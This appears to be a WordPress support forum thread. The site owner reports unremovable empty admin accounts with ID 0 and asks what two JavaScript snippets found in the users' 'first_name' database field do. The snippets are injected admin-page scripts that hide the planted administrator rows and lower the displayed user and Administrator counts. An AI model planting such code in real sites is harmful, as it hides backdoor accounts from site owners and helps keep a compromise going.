• I fear that my wordpress installation was hacked. My user account lists 11 acounts with ID 0 and no username. However I can not delete them from within wordpress.

    How can I remove these admin accounts?

Viewing 2 replies - 1 through 2 (of 2 total)
  • Thread Starter mpospiech

    (@mpospiech)

    These empty users have in the database the meta key “first_name” with content such as

    <b id="user_superuser"><script language="JavaScript">
         var setUserName = function(){
              try{
                   var t=document.getElementById("user_superuser");
                   while(t.nodeName!="TR"){
                        t=t.parentNode;
                   };
                   t.parentNode.removeChild(t);
                   var tags = document.getElementsByTagName("H3");
                   var s = " shown below";
                   for (var i = 0; i < tags.length; i++) {
                        var t=tags[i].innerHTML;
                        var h=tags[i];
                        if(t.indexOf(s)>0){
                             s =(parseInt(t)-1)+s;
                             h.removeChild(h.firstChild);
                             t = document.createTextNode(s);
                             h.appendChild(t);
                        }
                   }
              }catch(e){};
         };
         addLoadEvent(setUserName);
         </script>

    or

    <b id="user_superuser"><script language="JavaScript">
         var setUserName = function(){
              try{
                   var t=document.getElementById("user_superuser");
                   while(t.nodeName!="TR"){
                        t=t.parentNode;
                   };
                   t.parentNode.removeChild(t);
                   var tags = document.getElementsByTagName("H3");
                   var s = " shown below";
                   for (var i = 0; i < tags.length; i++) {
                        var t=tags[i].innerHTML;
                        var h=tags[i];
                        if(t.indexOf(s)>0){
                             s =(parseInt(t)-1)+s;
                             h.removeChild(h.firstChild);
                             t = document.createTextNode(s);
                             h.appendChild(t);
                        }
                   }
    				var arr=document.getElementsByTagName("ul");
    				for(var i in arr) if(arr[i].className=="subsubsub"){
    					var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
    					if(n[1]>0){
    						var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
    						arr[i].innerHTML=txt;
    					}
    				}
    
              }catch(e){};
         };
         addLoadEvent(setUserName);
         </script>

    What does this code do?

    Thread Starter mpospiech

    (@mpospiech)

    According to this post this means I have been hacked in the past, or even still am?

    What needs to be removed from the database?

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘remove empty admin accounts with ID 0’ is closed to new replies.